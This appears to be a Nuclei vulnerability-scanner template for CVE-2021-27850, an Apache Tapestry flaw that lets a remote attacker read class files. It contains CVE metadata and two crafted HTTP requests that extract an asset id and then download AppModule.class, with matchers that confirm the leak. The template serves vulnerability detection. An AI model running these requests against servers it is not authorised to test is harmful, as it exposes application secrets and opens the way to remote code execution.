69 lines
2.2 KiB
YAML
69 lines
2.2 KiB
YAML
id: CVE-2021-27850
|
|
|
|
info:
|
|
name: Apache Tapestry - Remote Code Execution
|
|
author: pdteam
|
|
severity: critical
|
|
description: |
|
|
Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by Apache to fix the vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
|
|
- https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E
|
|
- http://www.openwall.com/lists/oss-security/2021/04/15/1
|
|
- https://security.netapp.com/advisory/ntap-20210528-0002/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-27850
|
|
cwe-id: CWE-502,CWE-200
|
|
epss-score: 0.97414
|
|
epss-percentile: 0.99906
|
|
cpe: cpe:2.3:a:apache:tapestry:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: tapestry
|
|
tags: cve,cve2021,apache,tapestry
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /assets/app/something/services/AppModule.class/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
- |
|
|
GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'application/java'
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'configuration'
|
|
- 'webtools'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: id
|
|
group: 1
|
|
regex:
|
|
- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
|
|
internal: true
|
|
part: header
|
|
|
|
# digest: 4b0a00483046022100cac7f27ae4236c47b0a29329af74540041e6d26040b09bbbc351617f8912e358022100dada49e20662ecf71550473f6b587dcea53c03b5318638418e1838153cd4ef17:922c64590222798bb761d5b6d8e72950
|